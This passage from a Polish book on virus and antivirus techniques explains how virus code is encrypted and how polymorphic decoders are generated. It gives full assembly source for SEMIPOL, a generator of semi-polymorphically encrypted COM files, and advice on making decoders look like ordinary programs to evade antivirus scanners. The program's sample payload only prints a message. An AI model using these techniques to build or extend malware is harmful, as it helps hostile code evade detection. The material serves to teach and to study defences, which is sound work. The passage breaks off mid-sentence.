jeżeli ktoś potrafi zastosować zmienny dekoder, zwykle tworzy także zmienną procedurę 
szyfrującą;
> zmienny szyfrator + stały dekoder - kod wirusa za każdym razem wygląda inaczej, 
dekoder jest zawsze taki sam; wykrycie procedury dekodującej wykrywa również wirusa;
> zmienny szyfrator + zmienny dekoder - kod wirusa wraz z dekoderem za każdym 
razem wygląda inaczej; są to tzw. wirusy
polimorficzne

ROZDZIAŁ 8

8.1. Procedury szyfrujące kod
Do zaszyfrowania wirusa można zastosować dowolną z dostępnych w procesorze, 
odwracalnych operacji matematycznych lub logicznych, a więc:
> dodawanie - operacja ADD;
> odejmowanie - operacja SUB;
> suma modulo 2 - operacja XOR;
> negowanie arytmetyczne - operacja NEG;
> negowanie logiczne - operacja NOT;

background image

> przesunięcie cykliczne w lewo - operacja ROL;
> przesunięcie cykliczne w prawo - operacja ROR.
Są to najczęściej wykorzystywane metody szyfrowania, choć nic nie stoi na 
przeszkodzie, aby wprowadzić inne, np. przestawianie bajtów miejscami, traktowanie 
licznika lub indeksu jako wartości używanej w wymienionych wyżej operacjach 
matematycznych i logicznych.
To, która operacja (lub operacje) będzie użyta oraz z jakimi parametrami, zależy 
wyłącznie od inwencji projektującego procedurę. Jeżeli składa się ona za każdym razem 
z tych samych instrukcji, to jest to stała procedura szyfrująca i będzie dawać za każdym 
razem taki sam obraz zakodowanego wirusa. Zupełnie inaczej sprawa ma się ze 
zmienną procedurą szyfrującą, która po wywołaniu wybiera przypadkowo ilość operacji 
szyfrujących, a następnie w pętli losuje:
> rodzaj operacji wykonywanej na argumencie;
> argumenty operacji;
> rodzaj argumentów (bajt, słowo, podwójne słowo, ewentualnie
inne).
Wybierane operacje oraz argumenty należy gdzieś zapamiętać (zwykle w tablicy lub na 
stosie), gdyż w przyszłości będzie je wykorzystywać procedura generująca dekoder.

8.2. Procedury dekodujące
Działanie typowego dekodera ogranicza się do wykonania w odwrotnej kolejności 
operacji wykonywanych przez procedurę szyfrującą, z uwzględnieniem koniecznych 
zmian operacji, np. ADD-SUB, SUB-ADD. Na przykład, jeżeli procedura szyfrująca 
wygląda następująco:
MOV CX, IleBajt¾w 
MOV BX,Pocz╣tekDanychDoZakodowania
PÛtla:
XOR byte ptr [BX],12h
ADD byte ptr [BX],34h
NOT byte ptr [BX]
INC BX
LOOP PÛtla,
to procedura dekodująca powinna wyglądać mniej więcej tak:
MOV CX, IleBajt¾w 
MOV BX,Pocz╣tekDanychDoZakodowania
PÛtla:
NOT byte ptr [BX]
SUB byte ptr [BX],34h
XOR byte ptr [BX],12h
INC BX
LOOP PÛtla.
W przykładzie tym operacja ADD z procedury szyfrującej przeszła w operację SUB w 
dekoderze (oczywiście można zastosować także operację ADD z przeciwnym 
argumentem, tzn. -34h). Niestety, nawet jeżeli kod wirusa jest szyfrowany za każdym 
razem inaczej, to i tak wszystkie możliwe do wygenerowania procedury dekodera będą 
zawsze zgodne ze schematem (dla poprzedniego przykładu):
MOV CX,IleBajt¾w 

background image

MOV BX,Pocz╣tekDanychDoZakodowania
PÛtla:
DEKODUJ [BX] DEKODUJ [BX]
DEKODUJ [BX]
INC BX
LOOP PÛtla,
co dla nowoczesnych skanerów nie stanowi żadnej przeszkody
Aby uzyskać za każdym razem inny, bardziej unikalny dekoder, można zastosować 
zmienne, polimorficzne procedury dekodujące.

8.2.1. Polimorficzne procedury dekodujące
Stworzenie własnego wirusa polimorficznego nie jest zadaniem łatwym, czego 
pośrednim dowodem jest dość mała ilość oryginalnych wirusów tego typu. 
Najtrudniejszym elementem jest oczywiście stworzenie samego generatora zmiennych 
procedur dekodujących.
Ze względu na specyfikę zadania, jakie musi on wykonywać (generowanie 
wykonywalnych sekwencji rozkazów), do jego zaprogramowania niezbędna jest 
znajomość rozkazów procesorów 80x86 oraz ich maszynowych odpowiedników.
Poniżej omówiono dwie metody tworzenia zmiennych procedur szyfrujących. W obu 
przypadkach założono, iż cały kod wirusa został już zakodowany w sposób omówiony w 
poprzednich punktach, zaś operacje i ich argumenty są zachowane w jakiejś tablicy.

8.2.1.1. Semi-polimorfizm
Aby rozkodować kod wirusa najczęściej stosuje się pętlę podobną do poniższej 
sekwencji:
MOV licznik, IleDanych 
MOV indeks, Pocz╣tekDanychDoZakodowania
PÛtla:
dekoduj_i [indeks] 
DEKODUJ_2 [indeks]
DEKODUJ_N [indeks] 
ADD indeks, przyrost
LOOP PÛtla
Jest to procedura, którą bardzo larwo wykryć, ponieważ w zasadzie jest ona stalą. 
Chcąc uczynić ją w jakiś sposób zmienną, można zdefiniować pewną ilość podobnych 
do siebie w działaniu procedur i spośród nich losować tę, która zostanie użyta przy 
kolejnej generacji wirusa. Niektóre wirusy zawierają od kilku do kilkudziesięciu takich 
stałych procedur dekodujących, które choć działają tak samo, zbudowane są z różnych 
rejestrów i instrukcji. Ze względu na ograniczoną ilość takich procedur, które mogą być 
zawarte w ciele wirusa (zwiększają one przecież długość kodu), ilość różnych możliwych 
wariantów wirusa jest tak naprawdę bardzo ograniczona.
Inny sposób uzyskania pewnej zmienności w procedurze dekodującej polega na 
stworzeniu bufora wypełnionego przypadkowymi wartościami, w którym umieszcza się 
kolejne instrukcje procedury dekodującej, a po każdej z nich - rozkaz skoku do 
następnej instrukcji. Zaprogramowanie generatora takich procedur nie stanowi dużego 
problemu. Wystarczy znać odpowiednie kody maszynowe kolejnych rozkazów 
procedury dekodującej i sekwencyjnie umieszczać je w buforze, a bezpośrednio za nimi 

background image

generować rozkaz skoku o kilka bajtów do przodu, np. rozkazem JMP SHORT NEAR 
(kod maszynowy 0EB/??) lub JMP NEAR (kod maszynowy E9/??/??).
Jedynym problemem, na jaki natknąć się może twórca takiej procedury są offsety, pod 
które powinien skakać program przy wykonywaniu pętli, gdyż zapisując instrukcje 
sekwencyjnie napotykamy na konieczność umieszczenia wartości początkowej np. w 
rejestrze, choć jeszcze jej nie znamy. Aby ominąć tę przeszkodę, najprościej zapamiętać 
offsety do instrukcji, zarezerwować dla nich miejsce, a następnie w dalszej części kodu 
(kiedy już są znane), zmodyfikować je pod zapamiętanymi offsetami.
W zamieszczonym programie przykładowym za pomocą powyższej metody szyfrowany 
jest krótki programik, mający za zadanie wyświetlenie komunikatu po jego uruchomieniu. 
Wynik kilkakrotnego działania procedury zapisywany jest w plikach SEMI????.COM, 
gdzie ???? jest parametrem podawanym przy starcie programu (w wypadku braku 
parametru - domyślnie=10). Wygenerowane pliki zawierają tylko jeden stały bajt na 
początku programu (część rozkazu JMP SHORT o kodzie EB). Poprzez zastąpienie 
procedury Losowy-Skok (wstawić RET zaraz po etykiecie LosowySkok:) można łatwo 
zmodyfikować ten program, tak aby generował pliki szyfrowane w standardowy sposób 
(bez dodawania losowych skoków pomiędzy instrukcjami).

;----------------------------------------------------------------------------;
;                                                                            ;
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ;
;                                                                            ;
;                       SEMIPOL v1.0, Autor : Adam Blaszczyk 1997            ;
;                                                                            ;
;              Program generuje pliki zakodowane semi-polimorficznie         ;
;              (pomiedzy wlasciwe instrukcje dekodera sa wstawiane           ;
;               przypadkowe rozkazy JUMP)                                    ;
; Kompilacja :                                                               ;
;             TASM  /m2 SEMIPOL.ASM                                          ;
;             TLINK SEMIPOL.OBJ                                              ;
;                                                                            ;
;----------------------------------------------------------------------------;
SEMI_POL SEGMENT

ASSUME CS:SEMI_POL, DS:SEMI_POL, SS:SEMI_POL, ES:SEMI_POL

        NUL   = 00h                     ; \
        TAB   = 09h                     ;  \
        LF    = 0Ah                     ;   \ stale znakowe
        CR    = 0Dh                     ;   /
        SPACE = 20h                     ;  /
        DOLAR = '$'                     ; /

        RozmiarStosu           equ 200h ; rozmiar stosu
        DomyslnieIlePlikow      = 10    ; domyslnie generuj 10 plikow

background image

;-----------------------------------------------------------------------------
Start:
      Call  InicjujSystem               ; ustaw zmienne programu

      lea   si,TeCopyRight              ; wyswietl info o programie
      Call  Druk

      Call  WezParametry                ; wez parametry z linii polecen

      lea   si,TeGenerator              ; wyswietl info o dzialaniu
      Call  Druk

      Call  GenerowaniePlikow           ; generuj pliki

      mov   ax,4C00h                    ; funkcja DOS - powrot do systemu
      int   21h                         ; wywolaj funkcje

;-----------------------------------------------------------------------------
GenerowaniePlikow proc near             ; procedura generuje pliki SEMI????.COM

      push ds es ax bx cx dx si di      ; zachowaj na stosie zmieniane rejestry

      mov   cx, LiczbaPlikow            ; cx=ile plikow do wygenerowania

 GenJedenPlik:

      push  cx                          ; zachowaj na stosie : ile plikow

      lea   si,AktualnaNazwaPliku       ; \ wyswietl nazwe pliku
      Call  DrukLn                      ; /

      lea   dx,AktualnaNazwaPliku       ; sprobuj otworzyc (tworzony) plik
      mov   ax,3D02h                    ; funkcja DOS - otworz plik
      int   21h                         ; wywolaj funkcje
      jnc   WezUchwyt                   ; CF=0 plik juz istnial, nadpisz go

      mov   cx,20h                      ; atrybut pliku tworzonego : Archive
      lea   dx,AktualnaNazwaPliku       ; podaj nazwe tworzonego pliku
      mov   ah,5Bh                      ; funkcja DOS - tworz plik
      int   21h                         ; wywolaj funkcje

WezUchwyt:
      mov   UchwytPliku,ax              ; zapamietaj uchwyt pliku

      lea   si,StartKoduPrzykladowego   ; DS:SI - skad brac kod do szyfrowania
      lea   di,BuforDocelowy            ; ES:DI - dokad zapisywac zaszyfrowany kod

background image

      mov   cx,RozmiarPrzykladowegoKodu ;    CX - rozmiar szyfrowanego kodu
      Call  SemiPol
                                        ; CX:=Ile danych do zapisu

      lea   dx,BuforDocelowy            ; skad zapisac dane
      mov   bx,UchwytPliku              ; numer uchwytu
      mov   ah,40h                      ; funkcja DOS - zapisz do pliku
      int   21h                         ; wywolaj funkcje

      mov   ah,3Eh                      ; funkcja DOS - zamknij plik
      int   21h                         ; wywolaj funkcje

      Call  ZwiekszNumerPliku           ; SEMI(xxxx) -> SEMI(xxxx+1)

      pop   cx                          ; przywroc ze stosu : ile plikow

      loop  GenJedenPlik                ; generuj CX plikow

      pop   di si dx cx bx ax es ds     ; przywroc ze stosu zmieniane rejestry

      ret                               ; powrot z procedury

GenerowaniePlikow endp

;-----------------------------------------------------------------------------
ZwiekszNumerPliku proc near             ; zmienia SEMI(xxxx) na SEMI(xxxx+1)
                                        ; operuje na lancuchu 'SEMIxxxx'

      push  cx si                       ; zachowaj na stosie zmieniane rejestry

      mov   cx,4                        ; CX = ile max. obiegow petli = 4 cyfry

ZwiekszNumerPlikuPetla:
      mov   si,cx
      dec   si
      inc   byte ptr [AktNumPliku+si]   ; zwieksz cyfre od konca w SEMIxxxx

      cmp   byte ptr [AktNumPliku+si],'9'
                                        ; czy numer > 9 ?
      jbe   ZwiekszNumerPlikuPowrot     ; nie wiekszy = powrot z procedury
                                        ; wiekszy = uwzglednij przeniesienie
      mov   byte ptr [AktNumPliku+si],'0'
                                        ; cyfra : 9->0
      loop  ZwiekszNumerPlikuPetla      ; ewentualnie powtarzaj

ZwiekszNumerPlikuPowrot:

background image

      pop   si cx                       ; przywroc ze stosu zmieniane rejestry

      ret                               ; powrot z procedury

ZwiekszNumerPliku endp

;-----------------------------------------------------------------------------
WezParametry proc near                  ; pobiera parametry z PSP:80h

      push  ds                          ; zachowaj DS

      mov   di,DomyslnieIlePlikow       ; DI=ile plikow wygenerowac

      mov   ds,PSP_Segment              ; DS:=PSP
      mov   si,80h                      ; DS:SI=PSP:80

      lodsw                             ; DS:SI=PSP:82, AX:=licznik znakow
      or    al,al                       ; czy sa jakies znaki w linii polecen ?
      jz    WezParametryPowrot          ; nie = wyjdz z procedury

SzukajCyfry:
      lodsb                             ; wez znak

      cmp   al,SPACE                    ; \pomin spacje
      je    SzukajCyfry                 ; /

      cmp   al,TAB                      ; \pomin tabulator
      je    SzukajCyfry                 ; /

      mov   bx,si                       ; zachowaj pozycje w lancuchu

SzukajCR:                               ; szukaj konca ciagu znakow

      lodsb                             ; wez znak

      cmp   al,CR                       ; czy koniec lancucha ?
      je    LancuchNaLiczbe             ; tak = konwersja

      cmp   al,SPACE                    ; czy spacja ?
      je    LancuchNaLiczbe             ; tak = konwersja

      cmp   al,TAB                      ; czy tabulator ?
      je    LancuchNaLiczbe             ; tak = konwersja

      cmp   al,'0'                      ; \
      jb    WezParametryPowrot          ;  \   czy znak w zakresie
                                        ;   -  '0'..'9'

background image

      cmp   al,'9'                      ;  /   jezeli nie, to blad
      ja    WezParametryPowrot          ; /

      jmp   short SzukajCR              ; wez kolejny znak

LancuchNaLiczbe:                        ; konwersja lancucha na liczbe

      mov   cx,si                       ; wez koniec lancucha
      sub   cx,bx                       ; odejmij poczatek lancucha

      jcxz  WezParametryPowrot          ; skocz, gdy nie ma czego konwertowac

      cmp   cx,4                        ; czy liczba > 9999 ?
      ja    WezParametryPowrot          ; skocz, jesli tak

      mov   bx,1                        ; BX zawiera kolejne potegi 10
      xor   di,di                       ; DI zawiera aktualna sume

  LancuchNaLiczbeLoop:
                                        ; znaki czytamy od konca
      dec   si                          ; \ SI:=SI-2
      dec   si                          ; /

      lodsb                             ; pobierz znak
      sub   al,'0'                      ; konwertuj na liczbe z zakresu 0..9

      mov   ah,0                        ; AX=AL
      mul   bx                          ; mnoz przez kolejna potege 10

      add   di,ax                       ; dodaj do sumy

      mov   ax,10                       ; zwieksz potege 10
      mul   bx                          ; pomnoz 10*BX

      xchg  ax,bx                       ; BX:=10 do kolejnej potegi
                                        ; 1,10,100,1000

      loop  LancuchNaLiczbeLoop         ; konwertuj kolene cyfry

WezParametryPowrot:                     ; DI zawiera liczbe plikow

      pop   ds                          ; przywroc DS ze stosu

      mov LiczbaPlikow,di               ; przepisz do zmiennej

      ret                               ; powrot z procedury

background image

WezParametry endp

;-----------------------------------------------------------------------------
DrukLn proc near                        ; procedura wyswietla tekst ASCIIZ
                                        ; spod adresu CS:SI i dodaje Enter

      push  si                          ; SI sie zmienia, trzeba zachowac

      Call  Druk                        ; najpierw wyswietl tekst

      lea   si,TeCRLF                   ; \ a teraz dodaj CR,LF
      Call  Druk                        ; /

      pop   si                          ; przywroc SI

      ret                               ; powrot z procedury

DrukLn endp

;-----------------------------------------------------------------------------
Druk proc near                          ; procedura wyswietla tekst ASCIIZ
                                        ; spod adresu CS:SI

      push ax                           ; \ zachowaj zmieniane rejestry
      push si                           ; /

DrukNastepnyZnak:

      lods byte ptr cs:[si]             ; wez kolejny znak

      or al,al                          ; czy znak jest zerem
      jz DrukPowrot                     ; tak=koniec napisu, wyjdz z petli

      Call DrukZnak                     ; jezeli nie, to wyswietl (znak w AL)

      jmp short DrukNastepnyZnak        ; idz po nastepny znak

DrukPowrot:                             ; tekst wydrukowany
      pop  si                           ; \ przywroc zmieniane rejestry
      pop  ax                           ; /

      ret                               ; powrot z procedury

Druk endp

;-----------------------------------------------------------------------------
DrukZnak proc near                      ; procedura wyswietla znak w AL

background image

      push ax                           ; zachowaj zmieniany rejestr

      mov  ah,0Eh                       ; funkcja BIOS - wyswietl znak w AL
      int  10h                          ; wywolaj funkcje

      pop  ax                           ; przywroc zmieniany rejestr

      ret                               ; powrot z procedury

DrukZnak endp

;-----------------------------------------------------------------------------
InicjujSystem proc near                 ; ustawia stos, DS, ES itd.

      pop   bp                          ; zachowaj adres powrotu z procedury
                                        ; bo stos zostanie przeniesiony
      mov   CS:PSP_Segment,ds           ; zapamietaj PSP

      mov   ax,cs                       ; \
      mov   ds,ax                       ;  - CS=DS=ES
      mov   es,ax                       ; /

      mov   ss,ax                       ; \ stos na koniec programu
      lea   sp,StosKoniec               ; /

      cld                               ; DF=1, zwiekszaj przy operacjach lancuchowych

      jmp   bp                          ; powrot z procedury

InicjujSystem endp

;-----------------------------------------------------------------------------
SemiPol:
      push  ax si di                    ; zachowaj na stosie zmieniane rejestry

      shr   cx,1                        ; dlugosc/2 bo szyfrujemy slowa
      inc   cx                          ; dla pewnosci, ze wszystkie bajty zostana
                                        ; zaszyfrowane

      mov   Semi_IleDanych,cx           ; \
      mov   Semi_Skad,si                ;  - zachowaj dane
      mov   Semi_Dokad,di               ; /

      call  PseudoLosowa                ; wez przypadkowa liczbe
      mov   Semi_Losowa,ax              ; bedzie jej uzywac szyfrator i deszyfrator

background image

                                        ; szyfruj kod
      lea   di,TMPBufor                 ; gdzie zapisac szyfrowany kod
  Szyfruj:

      lodsw                             ; wez dana

      add   ax,Semi_Losowa              ; szyfruj ja

      stosw                             ; zapisz zaszyfrowana dana

      loop  Szyfruj                     ; powtarzaj szyfrowanie

                                        ; wpisz "smieci" do bufora
      mov   di,Semi_Dokad               ; bufor docelowy (do zapisu na dysk)

      mov   cx,256                      ; CX:=AX:=ile slow zapisac (1..256)

 Smietnik:                              ; wypelnianie

      Call  Pseudolosowa                ; wez przypadkowa dana
      stosw                             ; zapisz ja

      loop  Smietnik                    ; zapisz "smieci" w buforze

                                        ; generuj procedure dekodera
                                        ;
                                        ; Dekoder ma nastepujaca postac :
                                        ;
                                        ;        mov si,PoczatekDanych BE,????
                                        ;        mov cx,IleDanych      B9,????
                                        ;    Petla:
                                        ;        sub  [si],Losowa      81,2C,????
                                        ;        dec  cx               49
                                        ;        jz  Koniec            74,??
                                        ;        jmp Petla             E9,????
                                        ;     Koniec:
                                        ;
      mov   di,Semi_Dokad               ; bufor docelowy (do zapisu na dysk)

      call  LosowySkok                  ; wstaw losowy skok

      mov   al,0BEh                     ; DEKODER: mov si, ofset Poczaek
      stosb                             ; BE,????
      mov   Semi_GdziePocz,di           ; ofset bedzie wstawiony pozniej
      stosw                             ; zostaw miejsce na ofset

background image

      call  LosowySkok                  ; wstaw losowy skok

      mov   al,0B9h                     ; DEKODER: mov cx,IleDanych
      stosb                             ; B9,????
      mov   ax,Semi_IleDanych           ; wpisz, ile danych do odszyfrowania
      stosw                             ;

      call  LosowySkok                  ; wstaw losowy skok

      mov   Semi_Petla,di               ; DEKODER: sub [si],Losowa
      mov   ax,2C81h                    ; pierwsza czesc rozkazu
      stosw
      mov   ax,Semi_Losowa              ; zapisz wartosc dekodujaca
      stosw                             ; zaszyfrowany program

      call  LosowySkok                  ; wstaw losowy skok

      mov   al,46h                      ; DEKODER: inc si
      stosb

      call  LosowySkok                  ; wstaw losowy skok

      mov   al,46h                      ; DEKODER: inc si
      stosb

      call  LosowySkok                  ; wstaw losowy skok

      mov   al,49h                      ; DEKODER: dec cx
      stosb

      call  LosowySkok                  ; wstaw losowy skok

      mov   al,74h                      ; DEKODER: JZ ??
      stosb                             ; wstaw pierwsza czesc rozkazu
      mov   Semi_DokadJZ,di             ; zostanie ustawione pozniej
      stosb                             ; zostaw miejsce na ofset

      call  LosowySkok                  ; wstaw losowy skok

      mov  al,0E9h                      ; DEKODER: JNZ -> JMP z powrotem
      stosb                             ; wstaw E9
      mov   ax,Semi_Petla               ; oblicz ofset do DEKODER : Petla:
      sub   ax,di                       ;
      sub   ax,2                        ; odejmij dlugosc operandu w E9,????
      stosw                             ;

      mov   bx,Semi_DokadJZ             ; oblicz ofset do DEKODER : Koniec:

background image

      mov   ax,di                       ; i wstaw go pod wczesniej zapamietany
      sub   ax,bx                       ; ofset
      dec   ax                          ; odejmij dlugosc operandu w 74,??
      mov   [bx],al                     ;

      mov   bx,Semi_GdziePocz           ; oblicz ofset, gdzie zaczynaja
      mov   ax,di                       ; sie dane przeznaczone do deszyfrowania
      sub   ax,Semi_Dokad               ; z uwzglednieneim ofsetu dla
      add   ax,100h                     ; pliku COM (ORG 100h)
      mov   [bx],ax                     ; i zapisz pod zapamietany adres

      mov   cx,Semi_IleDanych           ; ile danych do kopiowania
      lea   si,TMPBufor                 ; pobieraj z bufora zawierajacego
      rep   movsw                       ; zaszyfrowany kod i kopiuj na koniec

      mov   cx,di                       ; oblicz, ile danych do zapisu, czyli
      sub   cx,Semi_Dokad               ; wartosc zwracana przez procedure

      pop   di si ax                    ; przywroc zapamietane rejestry

      ret                               ; powrot z procedury

;-----------------------------------------------------------------------------
LosowySkok:                             ; wstawia losowy skok

        mov   ax,15                     ; zakres skokow 1..15
        Call  PseudolosowaAX            ; losuj z zakresu 1..15

        mov   ah,al                     ;
        mov   al,0EBh                   ; AX=skok,EB
        stosw                           ; zapisz EB,skok

        mov   al,ah                     ;
        mov   ah,0                      ; AX:=AL=skok

        add   di,ax                     ; dodaj do di

        ret                             ; powrot z procedury

Semi_IleDanych dw ?                     ; \  potrzebne do chwilowego
Semi_Skad      dw ?                     ;  - zachowania roznych wartosci
Semi_Dokad     dw ?                     ; /
Semi_Losowa    dw ?                     ; wartosc szyfrujaca kod
Semi_GdziePocz dw ?                     ; \  adresy do zmiennych nieznanych
Semi_Petla     dw ?                     ;  \ w momencie, kiedy sa potrzebne
Semi_DokadJZ   dw ?                     ;  / aby mozna bylo je pozniej
                                        ; /  zmienic

background image

PseudoZarodek  dw ?                     ; \ aktualny zarodek generatora liczb
                                        ; / pseudolosowych
TMPBufor       db 256 dup(?)            ; \ rozmiar tymczasowego bufora
                                        ; - = 256 bajtow, (o rozmiarze co najmniej
                                        ; / rownym dlugosci kodu wirusa)

;-----------------------------------------------------------------------------
PseudoLosowa:                           ; generuje liczbe pseudolosowa
                                        ; z zakresu 1..65535
      mov   ax,0FFFFh

PseudoLosowaAX:                         ; przedzial w AX

      push  dx                          ; zachowaj na chwile DX

      Call  ZmienPseudoZarodek          ; zmien zarodek

      mul   PseudoZarodek               ; DX:AX:=przedzial*Zarodek
      xchg  ax,dx                       ; AX:=0..przedzial

      inc   ax                          ; pomin zero
      pop   dx                          ; przywroc DX ze stosu

      ret

ZmienPseudoZarodek:                     ; zmienia PseudoZarodek

      push  ax                          ; zachowaj stary AX

      in    al,40h                      ; AL:=przypadkowa wartosc
      xchg  ah,al                       ; AH:=AL
      in    al,40h                      ; AX:=przypadkowa wartosc
      xor   ax,0ABCDh                   ; operacje pomocnicze
      add   ax,1234h                    ; operacje pomocnicze
      mov   PseudoZarodek,ax            ; przepisz nowy zarodek

      pop   ax                          ; przywroc stary AX

      ret                               ; powrot z procedury

;----------------------------------------------------------------------------;
;          Programik do zaszyfrowania wyswietlajacy komunikat                ;
;                    przy uzyciu 09/21                                       ;
;----------------------------------------------------------------------------;
RozmiarPrzykladowegoKodu = offset KoniecKoduPrzykladowego- offset 
StartKoduPrzykladowego

background image

StartKoduPrzykladowego:
           call TrikCALL_POP ; trik do uzyskania relatywnego ofsetu
     TrikCALL_POP:
           pop   si          ; wez relatywny ofset, gdzie kod jest w pamieci

           mov   dx,offset TePrzyklad-Offset StartKoduPrzykladowego-3
           add   dx,si       ; DX:=ofset do tekstu (relatywny)

           mov   ah,9        ; funkcja DOS - wyswietl tekst$
           int   21h         ; wywolaj funkcje

           int   20h         ; powrot do DOS (program typu COM)

TePrzyklad db CR,LF          ; tekst do wyswietlenia
           db '[Program wygenerowany przez SEMIPOL v1.0, Autor: Adam Blaszczyk]'
           db DOLAR
KoniecKoduPrzykladowego:
;-----------------------------------------------------------------------------

TeCopyRight             db CR,LF,'SEMIPOL v1.0, Autor : Adam Blaszczyk 1997',
                        db CR,LF,NUL
TeGenerator             db CR,LF,'Czekaj, generuje plik(i) ...',CR,LF,NUL
AktualnaNazwaPliku      db 'SEMI'
       AktNumPliku      db '0001'
                        db '.COM',NUL
            TeCRLF      db CR,LF,NUL

      PSP_Segment       dw ?
      UchwytPliku       dw ?
      LiczbaPlikow      dw ?
      BuforDocelowy     db 4096 dup(?)

      StosStart         db RozmiarStosu dup(?)
      StosKoniec:

SEMI_POL ENDS

END Start

8.2.1.2. Pełny polimorfizm
Prawdziwie polimorficzne generatory zmiennych procedur szyfrujących powinny tworzyć 
przy każdym uruchomieniu całkowicie nową, unikalną procedurę dekodującą. Procedura 
taka najczęściej zachowuje tylko funkcje poniższej sekwenq'i:
LICZNIK:=IleDanych 
INDEX:=Pocz╣tekZaszyfrowanegoKodu

background image

FOR I:=1 to Licznik do begin
   DEKODUJ_1 DANÑ [INDEX]
   DEKODUJ_2 DANA [INDEX]
   DEKODUJ_N DANA [INDEX]     
   INDEX:=INDEX + PRZYROST ;
end;
Dla każdej procedury dekodującej generator losuje najczęściej odpowiednio:
> indeks;
> licznik;
> kierunek zwiększania licznika;
> kierunek dekodowania;
> rodzaj używanych instrukcji (8086, 80286 itd.).
Licznik oznacza najczęściej rejestry procesora wybierane z listy (E)AX, (E)BX, (E)CX, 
(E)DX, (E)BP, (E)SI, (E)DI. Rejestr (E)SP jest z wiadomych względów pomijany. 
Oczywiście, możliwe jest także użycie rejestrów 8-bitowych (najprościej jako licznika). 
Litera (E) oznacza, iż możliwe jest wybranie także rejestrów 32 bitowych, jednak należy 
pamiętać, że użycie ich znacząco komplikuje samą procedurę generującą.
Z kolei indeks wybierany jest z listy możliwych sposobów adresowania dla procesorów 
80x86. Może to być więc [BX+????], [BP+????], [SI+????], [DI+????], [BP+SI+????], 
[BP+DI+????], [BX+SI+????] lub [BX+DI+????]. Są to wszystkie możliwości, jakie może 
zawierać pole MmRejMem w instrukcjach operujących na danych w pamięci.
Liczbę różnych indeksów można poszerzyć poprzez użycie sposobów adresowania, 
które pojawiły się w procesorach 386 i wyższych. Umożliwiają one (poprzez 
zastosowanie słowa rozkazowego SIB) zastosowanie do adresowania wszystkich 
użytkowych rejestrów procesora.
Kierunek zwiększania licznika określa, czy licznik rośnie aż do wartości maksymalnej, 
czy też maleje od tej wartości do zera.
Kierunek dekodowania określa, od której strony zacznie się dekodo-wanie wirusa po 
uruchomieniu procedury; czy od początku zaszyfro-wanego kodu, czy też od jego 
końca. Konsekwencją obranych kierunków będą odpowiednie rozkazy zwiększające lub 
zmniejszające indeks i licznik. Od kierunków również zależeć będzie instrukcja 
sprawdzająca warunek zakończenia pętli dekodującej. Stopień skomplikowania samego 
dekodera wzrośnie, jeżeli pozwolimy na dynamiczne zmiany licznika i indeksu podczas 
działania programu. Na przykład, jeżeli początkowy licznik ustalimy jako CX, to po kilku 
wygenerowanych instrukcjach należy za pomocą instrukcji MOV REjl6, CX lub XCHG 
REJ16, CX wymusić zmianę licznika na inny.Jeśli chcemy skomplikować całą procedurę 
i uczynić ją polimorficzną, należy między instrukcje stanowiące integralną część 
dekodera wstawić rozkazy niepotrzebne z punktu widzenia działania programu, lecz 
niezbędne do zaciemnienia i ukrycia głównej procedury dekodu-jącej (rozkazy te muszą 
być wybierane losowo).
O ile w procedurze semi-polimorficznej do zaciemnienia kodu dekodera służył tylko 
jeden rozkaz, JMP SHORT, o tyle w przypadku pełnej procedury polimorficznej należy 
uwzględnić jak największą ilość rozkazów procesora.
Instrukcje stanowiące taki wypełniacz muszą spełniać kilka warunków. Najważniejsze 
Jest to, aby rozkazy te:
> nie zamazywały dowolnie nie używanej przez siebie pamięci;
> nie zawieszały komputera;

background image

> nie powodowały generowania wyjątków;
> nie niszczyły zawartości ważnych dla działania programu rejestrów (m.in. CS, SS, SP 
oraz rejestrów stanowiących indeks i licznik).
Część powyższych ograniczeń można ominąć, o ile wykonana operacja zostanie 
odwrócona, a więc możliwe jest np. zamazanie pamięci, ale tylko pod warunkiem, iż w 
zniszczone miejsce wpiszemy chwilę później oryginalną, zapamiętaną wcześniej 
zawartość. Podobnie ma się sprawa ze zmienianiem rejestrów. Jeżeli chcemy np. 
zmienić rejestr będący licznikiem, możemy jego wartość na chwilę zapisać do innego 
rejestru lub na stosie, a następnie zmienić go tak, aby po wykonaniu kilku kolejnych 
instrukcji przywrócić jego oryginalną zawartość.
Najprostszy sposób to wstawienie jako wypełniacza instrukcji 1-bajtowych, jednak jest 
ich tak niewiele w liście rozkazów, iż procedura zawierająca tylko takie instrukcje będzie 
łatwa do wykrycia. Ponadto zbyt duża ich ilość w programie też nie jest pożądana, gdyż 
z reguły programy używają instrukcji kilkubajtowych, w związku z czym nadmiar 
instrukcji 1-bajtowych może wydać się podejrzany (zwłaszcza programowi 
antywirusowemu).
Pamiętać trzeba, iż najlepiej byłoby, gdyby wygenerowana procedura przypominała 
fragment typowych programów komputerowych, stąd też wskazane jest używanie w 
generatorze wywoływań przerwań BIOS i funkcji systemu DOS (np. sprawdzanie wersji 
systemu DOS, sprawdzanie, czy jest jakiś klawisz w buforze klawiatury itp.), które 
spowodują, iż ewentualnemu programowi antywirusowemu program wyda się typową 
aplikacją.
Innymi, prostymi do wykorzystania instrukcjami są rozkazy operujące na akumulatorze 
(AX) i na jego młodszej części (AL), gdyż posiadają uproszczone w stosunku do innych 
rejestrów kody. Również operacje przypisywania rejestrom roboczym jakiejś wartości są 
bardzo proste do wstawienia (grupa rozkazów MOV REJ/???? o kodach B0/??-B7/?? 
dla rejestrów AL - BH lub B8/????-BF/???? dla rejestrów AX - DI).
Trochę trudniejsza jest symulacja operacji stosowych, rozkazów skoków i wywołań 
procedur, jednak, jak pokazują istniejące generatory, można je z powodzeniem 
stosować. Aby procedura dekodująca była jak najbardziej podobna do fragmentu 
typowego programu, warto stosować instrukcje modyfikujące jakieś komórki w pamięci. 
Używając ich należy pamiętać, iż zmodyfikowaną wartość należy później bezwzględnie 
przywrócić (chyba, że mamy pewność, iż jest to dana nieistotna np. w kodzie wirusa).
Korzystając z operacji działających w pamięci na argumentach typu word i dword nie 
wolno zapominać o tym, iż np. przy adresowaniu bazowym lub indeksowym wartości 
rejestrów (SI, DI, BX, BP) będą najczęściej nie ustalone, stąd może wystąpić sytuacja, w 
której instrukcja będzie pobierała lub modyfikowała daną z pogranicza dwóch 
segmentów. Innymi słowy, offset obliczany na podstawie indeksu będzie miał np. 
wartość 0FFFFh, co przy próbie dostępu do danej word lub dword z miejsca pamięci 
określonego przez ten offset spowoduje wystąpienie wyjątku (numer 13 - ogólne 
naruszenie mechanizmów ochrony).
Aby uwzględnić w generatorze jak najpełniejszą listę rozkazów, należy zaopatrzyć się w 
